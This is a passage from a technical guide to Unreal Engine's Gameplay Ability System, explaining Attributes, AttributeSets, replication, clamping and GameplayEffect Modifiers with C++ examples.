`Attributes` are defined by and live in an [`AttributeSet`](#concepts-as). The `AttributeSet` is responsible for replicating `Attributes` that are marked for replication. See the section on [`AttributeSets`](#concepts-as) for how to define `Attributes`.
**Tip:** If you don't want an `Attribute` to show up in the Editor's list of `Attributes`, you can use the `Meta = (HideInDetailsView)` `property specifier`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-a-value"></a>
#### 4.3.2 BaseValue vs CurrentValue
An `Attribute` is composed of two values - a `BaseValue` and a `CurrentValue`. The `BaseValue` is the permanent value of the `Attribute` whereas the `CurrentValue` is the `BaseValue` plus temporary modifications from `GameplayEffects`. For example, your `Character` may have a movespeed `Attribute` with a `BaseValue` of 600 units/second. Since there are no `GameplayEffects` modifying the movespeed yet, the `CurrentValue` is also 600 u/s. If she gets a temporary 50 u/s movespeed buff, the `BaseValue` stays the same at 600 u/s while the `CurrentValue` is now 600 + 50 for a total of 650 u/s. When the movespeed buff expires, the `CurrentValue` reverts back to the `BaseValue` of 600 u/s.
Often beginners to GAS will confuse `BaseValue` with a maximum value for an `Attribute` and try to treat it as such. This is an incorrect approach. Maximum values for `Attributes` that can change or are referenced in abilities or UI should be treated as separate `Attributes`. For hardcoded maximum and minimum values, there is a way to define a `DataTable` with `FAttributeMetaData` that can set maximum and minimum values, but Epic's comment above the struct calls it a "work in progress". See `AttributeSet.h` for more information. To prevent confusion, I recommend that maximum values that can be referenced in abilities or UI be made as separate `Attributes` and hardcoded maximum and minimum values that are only used for clamping `Attributes` be defined as hardcoded floats in the `AttributeSet`. Clamping of `Attributes` is discussed in [PreAttributeChange()](#concepts-as-preattributechange) for changes to the `CurrentValue` and [PostGameplayEffectExecute()](#concepts-as-postgameplayeffectexecute) for changes to the `BaseValue` from `GameplayEffects`.
Permanent changes to the `BaseValue` come from `Instant` `GameplayEffects` whereas `Duration` and `Infinite` `GameplayEffects` change the `CurrentValue`. Periodic `GameplayEffects` are treated like instant `GameplayEffects` and change the `BaseValue`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-a-meta"></a>
#### 4.3.3 Meta Attributes
Some `Attributes` are treated as placeholders for temporary values that are intended to interact with `Attributes`. These are called `Meta Attributes`. For example, we commonly define damage as a `Meta Attribute`. Instead of a `GameplayEffect` directly changing our health `Attribute`, we use a `Meta Attribute` called damage as a placeholder. This way the damage value can be modified with buffs and debuffs in an [`GameplayEffectExecutionCalculation`](#concepts-ge-ec) and can be further manipulated in the `AttributeSet`, for example subtracting the damage from a current shield `Attribute`, before finally subtracting the remainder from the health `Attribute`. The damage `Meta Attribute` has no persistence between `GameplayEffects` and is overriden by every one. `Meta Attributes` are not typically replicated.
`Meta Attributes` provide a good logical separation for things like damage and healing between "How much damage did we do?" and "What do we do with this damage?". This logical separation means our `Gameplay Effects` and `Execution Calculations` don't need to know how the Target handles the damage. Continuing our damage example, the `Gameplay Effect` determines how much damage and then the `AttributeSet` decides what to do with that damage. Not all characters may have the same `Attributes`, especially if you use subclassed `AttributeSets`. The base `AttributeSet` class may only have a health `Attribute`, but a subclassed `AttributeSet` may add a shield `Attribute`. The subclassed `AttributeSet` with the shield `Attribute` would distribute the damage received differently than the base `AttributeSet` class.
While `Meta Attributes` are a good design pattern, they are not mandatory. If you only ever have one `Execution Calculation` used for all instances of damage and one `Attribute Set` class shared by all characters, then you may be fine doing the damage distribution to health, shields, etc. inside of the `Execution Calculation` and directly modifying those `Attributes`. You'll only be sacrificing flexibility, but that may be okay for you.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-a-changes"></a>
#### 4.3.4 Responding to Attribute Changes
To listen for when an `Attribute` changes to update the UI or other gameplay, use `UAbilitySystemComponent::GetGameplayAttributeValueChangeDelegate(FGameplayAttribute Attribute)`. This function returns a delegate that you can bind to that will be automatically called whenever an `Attribute` changes. The delegate provides a `FOnAttributeChangeData` parameter with the `NewValue`, `OldValue`, and `FGameplayEffectModCallbackData`. **Note:** The `FGameplayEffectModCallbackData` will only be set on the server.
```c++
AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetHealthAttribute()).AddUObject(this, &AGDPlayerState::HealthChanged);
```
```c++
virtual void HealthChanged(const FOnAttributeChangeData& Data);
```
The Sample Project binds to the `Attribute` value changed delegates on the `GDPlayerState` to update the HUD and to respond to player death when health reaches zero.
A custom Blueprint node that wraps this into an `ASyncTask` is included in the Sample Project. It is used in the `UI_HUD` UMG Widget to update the health, mana, and stamina values. This `AsyncTask` will live forever until manually called `EndTask()`, which we do in the UMG Widget's `Destruct` event. See `AsyncTaskAttributeChanged.h/cpp`.

**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-a-derived"></a>
#### 4.3.5 Derived Attributes
To make an `Attribute` that has some or all of its value derived from one or more other `Attributes`, use an `Infinite` `GameplayEffect` with one or more `Attribute Based` or [`MMC`](#concepts-ge-mmc) [`Modifiers`](#concepts-ge-mods). The `Derived Attribute` will update automatically when an `Attribute` that it depends on is updated.
The final formula for all the `Modifiers` on a `Derived Attribute` is the same formula for `Modifier Aggregators`. If you need calculations to happen in a certain order, do it all inside of an `MMC`.
```
((CurrentValue + Additive) * Multiplicitive) / Division
```
**Note:** If playing with multiple clients in PIE, you need to disable `Run Under One Process` in the Editor Preferences otherwise the `Derived Attributes` will not update when their independent `Attributes` update on clients other than the first.
In this example, we have an `Infinite` `GameplayEffect` that derives the value of `TestAttrA` from the `Attributes`, `TestAttrB` and `TestAttrC`, in the formula `TestAttrA = (TestAttrA + TestAttrB) * ( 2 * TestAttrC)`. `TestAttrA` recalculates its value automatically whenever any of the `Attributes` update their values.

**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-as"></a>
### 4.4 Attribute Set
<a name="concepts-as-definition"></a>
#### 4.4.1 Attribute Set Definition
The `AttributeSet` defines, holds, and manages changes to `Attributes`. Developers should subclass from [`UAttributeSet`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UAttributeSet/index.html). Creating an `AttributeSet` in an `OwnerActor's` constructor automatically registers it with its `ASC`. **This must be done in C++**.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-as-design"></a>
#### 4.4.2 Attribute Set Design
An `ASC` may have one or many `AttributeSets`. AttributeSets have negligible memory overhead so how many `AttributeSets` to use is an organizational decision left up to the developer.
It is acceptable to have one large monolithic `AttributeSet` shared by every `Actor` in your game and only use attributes if needed while ignoring unused attributes.
Alternatively, you may choose to have more than one `AttributeSet` representing groupings of `Attributes` that you selectively add to your `Actors` as needed. For example, you could have an `AttributeSet` for health related `Attributes`, an `AttributeSet` for mana related `Attributes`, and so on. In a MOBA game, heroes might need mana but minions might not. Therefore the heroes would get the mana `AttributeSet` and minions would not.
Additionally, `AttributeSets` can be subclassed as another means of selectively choosing which `Attributes` an `Actor` has. `Attributes` are internally referred to as `AttributeSetClassName.AttributeName`. When you subclass an `AttributeSet`, all of the `Attributes` from the parent class will still have the parent class's name as the prefix.
While you can have more than one `AttributeSet`, you should not have more than one `AttributeSet` of the same class on an `ASC`. If you have more than one `AttributeSet` from the same class, it won't know which `AttributeSet` to use and will just pick one.
<a name="concepts-as-design-subcomponents"></a>
##### 4.4.2.1 Subcomponents with Individual Attributes
In the scenario where you have multiple damageable components on a `Pawn` like individually damageable armor pieces, I recommend that if you know the maximum number of damageable components that a `Pawn` could have to make that many health `Attributes` on one `AttributeSet` - DamageableCompHealth0, DamageableCompHealth1, etc. to represent logical 'slots' for those damageable components. In your damageable component class instance, assign the slot number `Attribute` that can be read by `GameplayAbilities` or [`Executions`](#concepts-ge-ec) to know which `Attribute` to apply damage to. `Pawns` that have less than the maximum number or zero of damageable components are fine. Just because a `AttributeSet` has an `Attribute`, doesn't mean that you have to use it. Unused `Attributes` take up trivial amount of memory.
If your subcomponents need many `Attributes` each, there's potentially an unbounded number of subcomponents, the subcomponents can detach and be used by other players (e.g. weapons), or for any other reason this approach doesn't work for you, I'd recommend switching away from `Attributes` and instead store plain old floats on the components. See [Item Attributes](#concepts-as-design-itemattributes).
<a name="concepts-as-design-addremoveruntime"></a>
##### 4.4.2.2 Adding and Removing AttributeSets at Runtime
`AttributeSets` can be added and removed from an `ASC` at runtime; however, removing `AttributeSets` can be dangerous. For example, if an `AttributeSet` is removed on a client before the server and an `Attribute` value change is replicated to client, the `Attribute` won't find its `AttributeSet` and crash the game.
On weapon add to inventory:
```c++
AbilitySystemComponent->GetSpawnedAttributes_Mutable().AddUnique(WeaponAttributeSetPointer);
AbilitySystemComponent->ForceReplication();
```
On weapon remove from inventory:
```c++
AbilitySystemComponent->GetSpawnedAttributes_Mutable().Remove(WeaponAttributeSetPointer);
AbilitySystemComponent->ForceReplication();
```
<a name="concepts-as-design-itemattributes"></a>
##### 4.4.2.3 Item Attributes (Weapon Ammo)
There's a few ways to implement equippable items with `Attributes` (weapon ammo, armor durability, etc). All of these approaches store values directly on the item. This is necessary for items that can be equipped by more than one player over its lifetime.
> 1. Use plain floats on the item (**Recommended**)
> 1. Separate `AttributeSet` on the item
> 1. Separate `ASC` on the item
<a name="concepts-as-design-itemattributes-plainfloats"></a>
###### 4.4.2.3.1 Plain Floats on the Item
Instead of `Attributes`, store plain float values on the item class instance. Fortnite and [GASShooter](https://github.com/tranek/GASShooter) handle gun ammo this way. For a gun, store the max clip size, current ammo in clip, reserve ammo, etc directly as replicated floats (`COND_OwnerOnly`) on the gun instance. If weapons share reserve ammo, you would move the reserve ammo onto the character as an `Attribute` in a shared ammo `AttributeSet` (reload abilities can use a `Cost GE` to pull from reserve ammo into the gun's float clip ammo). Since you're not using `Attributes` for current clip ammo, you will need to override some functions in `UGameplayAbility` to check and apply cost against the floats on the gun. Making the gun the `SourceObject` in the [`GameplayAbilitySpec`](https://github.com/tranek/GASDocumentation#concepts-ga-spec) when granting the ability means you'll have access to the gun that granted the ability inside the ability.
To prevent the gun from replicating back the ammo amount and clobbering the local ammo amount during automatic fire, disable replication while the player has a `IsFiring` `GameplayTag` in `PreReplication()`. You're essentially doing your own local prediction here.
```c++
void AGSWeapon::PreReplication(IRepChangedPropertyTracker& ChangedPropertyTracker)
{
Super::PreReplication(ChangedPropertyTracker);
DOREPLIFETIME_ACTIVE_OVERRIDE(AGSWeapon, PrimaryClipAmmo, (IsValid(AbilitySystemComponent) && !AbilitySystemComponent->HasMatchingGameplayTag(WeaponIsFiringTag)));
DOREPLIFETIME_ACTIVE_OVERRIDE(AGSWeapon, SecondaryClipAmmo, (IsValid(AbilitySystemComponent) && !AbilitySystemComponent->HasMatchingGameplayTag(WeaponIsFiringTag)));
}
```
Benefits:
1. Avoids limitations of using `AttributeSets` (see below)
Limitations:
1. Can not use existing `GameplayEffect` workflow (`Cost GEs` for ammo use, etc)
1. Requires work to override key functions on `UGameplayAbility` to check and apply ammo costs against the gun's floats
<a name="concepts-as-design-itemattributes-attributeset"></a>
###### 4.4.2.3.2 `AttributeSet` on the Item
Using a separate `AttributeSet` on the item that gets [added to the player's `ASC` on adding it to the player's inventory](#concepts-as-design-addremoveruntime) can work, but it has some major limitations. I had this working in early versions of [GASShooter](https://github.com/tranek/GASShooter) for the weapon ammo. The weapon stores its `Attributes` such as max clip size, current ammo in clip, reserve ammo, etc in an `AttributeSet` that lives on the weapon class. If weapons share reserve ammo, you would move the reserve ammo onto the character in a shared ammo `AttributeSet`. When a weapon is added to the player's inventory on the server, the weapon would add its `AttributeSet` to the player's `ASC::SpawnedAttributes`. The server would then replicate this down to the client. If the weapon is removed from the inventory, it would remove its `AttributeSet` from the `ASC::SpawnedAttributes`.
When the `AttributeSet` lives on something other than the `OwnerActor` (say a weapon), you'll initially get some compilation errors in the `AttributeSet`. The fix is to construct the `AttributeSet` in `BeginPlay()` instead of in the constructor and to implement `IAbilitySystemInterface` (set the pointer to the `ASC` when you add the weapon to the player inventory) on the weapon.
```c++
void AGSWeapon::BeginPlay()
{
if (!AttributeSet)
{
AttributeSet = NewObject<UGSWeaponAttributeSet>(this);
}
//...
}
```
You can see it in practice by checking out this [older version of GASShooter](https://github.com/tranek/GASShooter/tree/df5949d0dd992bd3d76d4a728f370f2e2c827735).
Benefits:
1. Can use existing `GameplayAbility` and `GameplayEffect` workflow (`Cost GEs` for ammo use, etc)
1. Simple to setup for a very small set of items
Limitations:
1. You have to make a new `AttributeSet` class for every weapon type. `ASCs` can only functionally have one `AttributeSet` instance of a class since changes to an `Attribute` look for the first instance of their `AttributeSet` class in the `ASCs` `SpawnedAttributes` array. Additional instances of the same `AttributeSet` class are ignored.
1. You can only have one of each type of weapon in the player's inventory due to previous reason of one `AttributeSet` instance per `AttributeSet` class.
1. Removing an `AttributeSet` is dangerous. In GASShooter if the player killed himself from a rocket, the player would immediately remove the rocket launcher from his inventory (including its `AttributeSet` from the `ASC`). When the server replicated that the rocket launcher's ammo `Attribute` changed, the `AttributeSet` no longer existed on the client's `ASC` and the game crashed.
<a name="concepts-as-design-itemattributes-asc"></a>
###### 4.4.2.3.3 `ASC` on the Item
Putting a whole `AbilitySystemComponent` on each item is an extreme approach. I have not personally done this nor have I seen it in the wild. It would take a lot of engineering to make it work.
> Is it viable to have several AbilitySystemComponents which have the same owner but different avatars (e.g. on pawn and weapon/items/projectiles with Owner set to PlayerState)?
>
> The first problem I see there would be implementing the IGameplayTagAssetInterface and IAbilitySystemInterface on the owning actor. The former may be possible: just aggregate the tags from all all ASCs (but watch out -HasAllMatchingGameplayTags may be met only via cross ASC aggregation. It wouldn't be enough to just forward that calls to each ASC and OR the results together). But the later is even trickier: which ASC is the authoritative one? If someone wants to apply a GE -which one should receive it? Maybe you can work these out but this side of the problem will be the hardest: owners will have multiple ASCs beneath them.
>
> Separate ASCs on the pawn and the weapon can make sense on its own though. E.g, distinguishing between tags that describe the weapon vs those that describe the owning pawn. Maybe it does make sense that tags granted to the weapon also “apply” to the owner and nothing else (e.g, attributes and GEs are independent but the owner will aggregate the owned tags like I describe above). This could work out, I am sure. But having multiple ASCs with the same owner may get dicey.
*<NAME> from Epic's answer to [community questions #6](https://epicgames.ent.box.com/s/m1egifkxv3he3u3xezb9hzbgroxyhx89)*
Benefits:
1. Can use existing `GameplayAbility` and `GameplayEffect` workflow (`Cost GEs` for ammo use, etc)
1. Can reuse `AttributeSet` classes (one on each weapon's ASC)
Limitations:
1. Unknown engineering cost
1. Is it even possible?
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-as-attributes"></a>
#### 4.4.3 Defining Attributes
**`Attributes` can only be defined in C++** in the `AttributeSet's` header file. It is recommended to add this block of macros to the top of every `AttributeSet` header file. It will automatically generate getter and setter functions for your `Attributes`.
```c++
// Uses macros from AttributeSet.h
#define ATTRIBUTE_ACCESSORS(ClassName, PropertyName) \
GAMEPLAYATTRIBUTE_PROPERTY_GETTER(ClassName, PropertyName) \
GAMEPLAYATTRIBUTE_VALUE_GETTER(PropertyName) \
GAMEPLAYATTRIBUTE_VALUE_SETTER(PropertyName) \
GAMEPLAYATTRIBUTE_VALUE_INITTER(PropertyName)
```
A replicated health attribute would be defined like this:
```c++
UPROPERTY(BlueprintReadOnly, Category = "Health", ReplicatedUsing = OnRep_Health)
FGameplayAttributeData Health;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, Health)
```
Also define the `OnRep` function in the header:
```c++
UFUNCTION()
virtual void OnRep_Health(const FGameplayAttributeData& OldHealth);
```
The .cpp file for the `AttributeSet` should fill in the `OnRep` function with the `GAMEPLAYATTRIBUTE_REPNOTIFY` macro used by the prediction system:
```c++
void UGDAttributeSetBase::OnRep_Health(const FGameplayAttributeData& OldHealth)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, Health, OldHealth);
}
```
Finally, the `Attribute` needs to be added to `GetLifetimeReplicatedProps`:
```c++
void UGDAttributeSetBase::GetLifetimeReplicatedProps(TArray<FLifetimeProperty>& OutLifetimeProps) const
{
Super::GetLifetimeReplicatedProps(OutLifetimeProps);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, Health, COND_None, REPNOTIFY_Always);
}
```
`REPNOTIFY_Always` tells the `OnRep` function to trigger if the local value is already equal to the value being repped down from the Server (due to prediction). By default it won't trigger the `OnRep` function if the local value is the same as the value being repped down from the Server.
If the `Attribute` is not replicated like a `Meta Attribute`, then the `OnRep` and `GetLifetimeReplicatedProps` steps can be skipped.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-as-init"></a>
#### 4.4.4 Initializing Attributes
There are multiple ways to initialize `Attributes` (set their `BaseValue` and consequently their `CurrentValue` to some initial value). Epic recommends using an instant `GameplayEffect`. This is the method used in the Sample Project too.
See `GE_HeroAttributes` Blueprint in the Sample Project for how to make an instant `GameplayEffect` to initialize `Attributes`. Application of this `GameplayEffect` happens in C++.
If you used the `ATTRIBUTE_ACCESSORS` macro when you defined your `Attributes`, an initialization function will automatically be generated on the `AttributeSet` for each `Attribute` that you can call at your leisure in C++.
```c++
// InitHealth(float InitialValue) is an automatically generated function for an Attribute 'Health' defined with the `ATTRIBUTE_ACCESSORS` macro
AttributeSet->InitHealth(100.0f);
```
See `AttributeSet.h` for more ways to initialize `Attributes`.
**Note:** Prior to 4.24, `FAttributeSetInitterDiscreteLevels` did not work with `FGameplayAttributeData`. It was created when `Attributes` were raw floats and will complain about `FGameplayAttributeData` not being `Plain Old Data` (`POD`). This is fixed in 4.24 https://issues.unrealengine.com/issue/UE-76557.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-as-preattributechange"></a>
#### 4.4.5 PreAttributeChange()
`PreAttributeChange(const FGameplayAttribute& Attribute, float& NewValue)` is one of the main functions in the `AttributeSet` to respond to changes to an `Attribute's` `CurrentValue` before the change happens. It is the ideal place to clamp incoming changes to `CurrentValue` via the reference parameter `NewValue`.
For example to clamp movespeed modifiers the Sample Project does it like so:
```c++
if (Attribute == GetMoveSpeedAttribute())
{
// Cannot slow less than 150 units/s and cannot boost more than 1000 units/s
NewValue = FMath::Clamp<float>(NewValue, 150, 1000);
}
```
The `GetMoveSpeedAttribute()` function is created by the macro block that we added to the `AttributeSet.h` ([Defining Attributes](#concepts-as-attributes)).
This is triggered from any changes to `Attributes`, whether using `Attribute` setters (defined by the macro block in `AttributeSet.h` ([Defining Attributes](#concepts-as-attributes))) or using [`GameplayEffects`](#concepts-ge).
**Note:** Any clamping that happens here does not permanently change the modifier on the `ASC`. It only changes the value returned from querying the modifier. This means anything that recalculates the `CurrentValue` from all of the modifiers like [`GameplayEffectExecutionCalculations`](#concepts-ge-ec) and [`ModifierMagnitudeCalculations`](#concepts-ge-mmc) need to implement clamping again.
**Note:** Epic's comments for `PreAttributeChange()` say not to use it for gameplay events and instead use it mainly for clamping. The recommended place for gameplay events on `Attribute` change is `UAbilitySystemComponent::GetGameplayAttributeValueChangeDelegate(FGameplayAttribute Attribute)` ([Responding to Attribute Changes](#concepts-a-changes)).
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-as-postgameplayeffectexecute"></a>
#### 4.4.6 PostGameplayEffectExecute()
`PostGameplayEffectExecute(const FGameplayEffectModCallbackData & Data)` only triggers after changes to the `BaseValue` of an `Attribute` from an instant [`GameplayEffect`](#concepts-ge). This is a valid place to do more `Attribute` manipulation when they change from a `GameplayEffect`.
For example, in the Sample Project we subtract the final damage `Meta Attribute` from the health `Attribute` here. If there was a shield `Attribute`, we would subtract the damage from it first before subtracting the remainder from health. The Sample Project also uses this location to apply hit react animations, show floating Damage Numbers, and assign experience and gold bounties to the killer. By design, the damage `Meta Attribute` will always come through an instant `GameplayEffect` and never the `Attribute` setter.
Other `Attributes` that will only have their `BaseValue` changed from instant `GameplayEffects` like mana and stamina can also be clamped to their maximum value counterpart `Attributes` here.
**Note:** When `PostGameplayEffectExecute()` is called, changes to the `Attribute` have already happened, but they have not replicated back to clients yet so clamping values here will not cause two network updates to clients. Clients will only receive the update after clamping.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-as-onattributeaggregatorcreated"></a>
#### 4.4.7 OnAttributeAggregatorCreated()
`OnAttributeAggregatorCreated(const FGameplayAttribute& Attribute, FAggregator* NewAggregator)` triggers when an `Aggregator` is created for an `Attribute` in this set. It allows custom setup of [`FAggregatorEvaluateMetaData`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/FAggregatorEvaluateMetaData/index.html). `AggregatorEvaluateMetaData` is used by the `Aggregator` in evaluating the `CurrentValue` of an `Attribute` based on all the [`Modifiers`](#concepts-ge-mods) applied to it. By default, `AggregatorEvaluateMetaData` is only used by the `Aggregator` to determine which `Modifiers` qualify with the example of `MostNegativeMod_AllPositiveMods` which allows all positive `Modifiers` but restricts negative `Modifiers` to only the most negative one. This was used by Paragon to only allow the most negative move speed slow effect to apply to a player regardless of how many slow effects where on them at any one time while applying all positive move speed buffs. `Modifiers` that don't qualify still exist on the `ASC`, they just aren't aggregated into the final `CurrentValue`. They can potentially qualify later once conditions change, like in the case if the most negative `Modifier` expires, the next most negative `Modifier` (if one exists) then qualifies.
To use AggregatorEvaluateMetaData in the example of only allowing the most negative `Modifier` and all positive `Modifiers`:
```c++
virtual void OnAttributeAggregatorCreated(const FGameplayAttribute& Attribute, FAggregator* NewAggregator) const override;
```
```c++
void UGSAttributeSetBase::OnAttributeAggregatorCreated(const FGameplayAttribute& Attribute, FAggregator* NewAggregator) const
{
Super::OnAttributeAggregatorCreated(Attribute, NewAggregator);
if (!NewAggregator)
{
return;
}
if (Attribute == GetMoveSpeedAttribute())
{
NewAggregator->EvaluationMetaData = &FAggregatorEvaluateMetaDataLibrary::MostNegativeMod_AllPositiveMods;
}
}
```
Your custom `AggregatorEvaluateMetaData` for qualifiers should be added to `FAggregatorEvaluateMetaDataLibrary` as static variables.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge"></a>
### 4.5 Gameplay Effects
<a name="concepts-ge-definition"></a>
#### 4.5.1 Gameplay Effect Definition
[`GameplayEffects`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UGameplayEffect/index.html) (`GE`) are the vessels through which abilities change [`Attributes`](#concepts-a) and [`GameplayTags`](#concepts-gt) on themselves and others. They can cause immediate `Attribute` changes like damage or healing or apply long term status buff/debuffs like a movespeed boost or stunning. The `UGameplayEffect` class is a meant to be a **data-only** class that defines a single gameplay effect. No additional logic should be added to `GameplayEffects`. Typically designers will create many Blueprint child classes of `UGameplayEffect`.
`GameplayEffects` change `Attributes` through [`Modifiers`](#concepts-ge-mods) and [`Executions` (`GameplayEffectExecutionCalculation`)](#concepts-ge-ec).
`GameplayEffects` have three types of duration: `Instant`, `Duration`, and `Infinite`.
Additionally, `GameplayEffects` can add/execute [`GameplayCues`](#concepts-gc). An `Instant` `GameplayEffect` will call `Execute` on the `GameplayCue` `GameplayTags` whereas a `Duration` or `Infinite` `GameplayEffect` will call `Add` and `Remove` on the `GameplayCue` `GameplayTags`.
| Duration Type | GameplayCue Event | When to use |
| ------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Instant` | Execute | For immediate permanent changes to `Attribute's` `BaseValue`. `GameplayTags` will not be applied, not even for a frame. |
| `Duration` | Add & Remove | For temporary changes to `Attribute's` `CurrentValue` and to apply `GameplayTags` that will be removed when the `GameplayEffect` expires or is manually removed. The duration is specified in the `UGameplayEffect` class/Blueprint. |
| `Infinite` | Add & Remove | For temporary changes to `Attribute's` `CurrentValue` and to apply `GameplayTags` that will be removed when the `GameplayEffect` is removed. These will never expire on their own and must be manually removed by an ability or the `ASC`. |
`Duration` and `Infinite` `GameplayEffects` have the option of applying `Periodic Effects` that apply its `Modifiers` and `Executions` every `X` seconds as defined by its `Period`. `Periodic Effects` are treated as `Instant` `GameplayEffects` when it comes to changing the `Attribute's` `BaseValue` and `Executing` `GameplayCues`. These are useful for damage over time (DOT) type effects. **Note:** `Periodic Effects` cannot be [predicted](#concepts-p).
`Duration` and `Infinite` `GameplayEffects` can be temporarily turned off and on after application if their `Ongoing Tag Requirements` are not met/met ([Gameplay Effect Tags](#concepts-ge-tags)). Turning off a `GameplayEffect` removes the effects of its `Modifiers` and applied `GameplayTags` but does not remove the `GameplayEffect`. Turning the `GameplayEffect` back on reapplies its `Modifiers` and `GameplayTags`.
If you need to manually recalculate the `Modifiers` of a `Duration` or `Infinite` `GameplayEffect` (say you have an `MMC` that uses data that doesn't come from `Attributes`), you can call `UAbilitySystemComponent::ActiveGameplayEffects.SetActiveGameplayEffectLevel(FActiveGameplayEffectHandle ActiveHandle, int32 NewLevel)` with the same level that it already has using `UAbilitySystemComponent::ActiveGameplayEffects.GetActiveGameplayEffect(ActiveHandle).Spec.GetLevel()`. `Modifiers` that are based on backing `Attributes` automatically update when those backing `Attributes` update. The key functions of `SetActiveGameplayEffectLevel()` to update the `Modifiers` are:
```C++
MarkItemDirty(Effect);
Effect.Spec.CalculateModifierMagnitudes();
// Private function otherwise we'd call these three functions without needing to set the level to what it already is
UpdateAllAggregatorModMagnitudes(Effect);
```
`GameplayEffects` are not typically instantiated. When an ability or `ASC` wants to apply a `GameplayEffect`, it creates a [`GameplayEffectSpec`](#concepts-ge-spec) from the `GameplayEffect's` `ClassDefaultObject`. Successfully applied `GameplayEffectSpecs` are then added to a new struct called `FActiveGameplayEffect` which is what the `ASC` keeps track of in a special container struct called `ActiveGameplayEffects`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-applying"></a>
#### 4.5.2 Applying Gameplay Effects
`GameplayEffects` can be applied in many ways from functions on [`GameplayAbilities`](#concepts-ga) and functions on the `ASC` and usually take the form of `ApplyGameplayEffectTo`. The different functions are essentially convenience functions that will eventually call `UAbilitySystemComponent::ApplyGameplayEffectSpecToSelf()` on the `Target`.
To apply `GameplayEffects` outside of a `GameplayAbility` for example from a projectile, you need to get the `Target's` `ASC` and use one of its functions to `ApplyGameplayEffectToSelf`.
You can listen for when any `Duration` or `Infinite` `GameplayEffects` are applied to an `ASC` by binding to its delegate:
```c++
AbilitySystemComponent->OnActiveGameplayEffectAddedDelegateToSelf.AddUObject(this, &APACharacterBase::OnActiveGameplayEffectAddedCallback);
```
The callback function:
```c++
virtual void OnActiveGameplayEffectAddedCallback(UAbilitySystemComponent* Target, const FGameplayEffectSpec& SpecApplied, FActiveGameplayEffectHandle ActiveHandle);
```
The server will always call this function regardless of replication mode. The autonomous proxy will only call this for replicated `GameplayEffects` in `Full` and `Mixed` replication modes. Simulated proxies will only call this in `Full` [replication mode](#concepts-asc-rm).
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-removing"></a>
#### 4.5.3 Removing Gameplay Effects
`GameplayEffects` can be removed in many ways from functions on [`GameplayAbilities`](#concepts-ga) and functions on the `ASC` and usually take the form of `RemoveActiveGameplayEffect`. The different functions are essentially convenience functions that will eventually call `FActiveGameplayEffectsContainer::RemoveActiveEffects()` on the `Target`.
To remove `GameplayEffects` outside of a `GameplayAbility`, you need to get the `Target's` `ASC` and use one of its functions to `RemoveActiveGameplayEffect`.
You can listen for when any `Duration` or `Infinite` `GameplayEffects` are removed from an `ASC` by binding to its delegate:
```c++
AbilitySystemComponent->OnAnyGameplayEffectRemovedDelegate().AddUObject(this, &APACharacterBase::OnRemoveGameplayEffectCallback);
```
The callback function:
```c++
virtual void OnRemoveGameplayEffectCallback(const FActiveGameplayEffect& EffectRemoved);
```
The server will always call this function regardless of replication mode. The autonomous proxy will only call this for replicated `GameplayEffects` in `Full` and `Mixed` replication modes. Simulated proxies will only call this in `Full` [replication mode](#concepts-asc-rm).
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-mods"></a>
#### 4.5.4 Gameplay Effect Modifiers
`Modifiers` change an `Attribute` and are the only way to [predictively](#concepts-p) change an `Attribute`. A `GameplayEffect` can have zero or many `Modifiers`. Each `Modifier` is responsible for changing only one `Attribute` via a specified operation.
| Operation | Description |
| ---------- | ------------------------------------------------------------------------------------------------------------------- |
| `Add` | Adds the result to the `Modifier's` specified `Attribute`. Use a negative value for subtraction. |
| `Multiply` | Multiplies the result to the `Modifier's` specified `Attribute`. |
| `Divide` | Divides the result against the `Modifier's` specified `Attribute`. |
| `Override` | Overrides the `Modifier's` specified `Attribute` with the result. |
The `CurrentValue` of an `Attribute` is the aggregate result of all of its `Modifiers` added to its `BaseValue`. The formula for how `Modifiers` are aggregated is defined as follows in `FAggregatorModChannel::EvaluateWithBase` in `GameplayEffectAggregator.cpp`:
```c++
((InlineBaseValue + Additive) * Multiplicitive) / Division
```
Any `Override` `Modifiers` will override the final value with the last applied `Modifier` taking precedence.
**Note:** For percentage based changes, make sure to use the `Multiply` operation so that it happens after addition.
**Note:** [Prediction](#concepts-p) has trouble with percentage changes.
There are four types of `Modifiers`: Scalable Float, Attribute Based, Custom Calculation Class, and Set By Caller. They all generate some float value that is then used to change the specified `Attribute` of the `Modifier` based on its operation.
| `Modifier` Type | Description |
| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Scalable Float` | `FScalableFloats` are a structure that can point to a Data Table that has the variables as rows and levels as columns. The Scalable Floats will automatically read the value of the specified table row at the ability's current level (or different level if overriden on the [`GameplayEffectSpec`](#concepts-ge-spec)). This value can further be manipulated by a coefficient. If no Data Table/Row is specified, it treats the value as a 1 so the coefficient can be used to hard code in a single value at all levels.  |
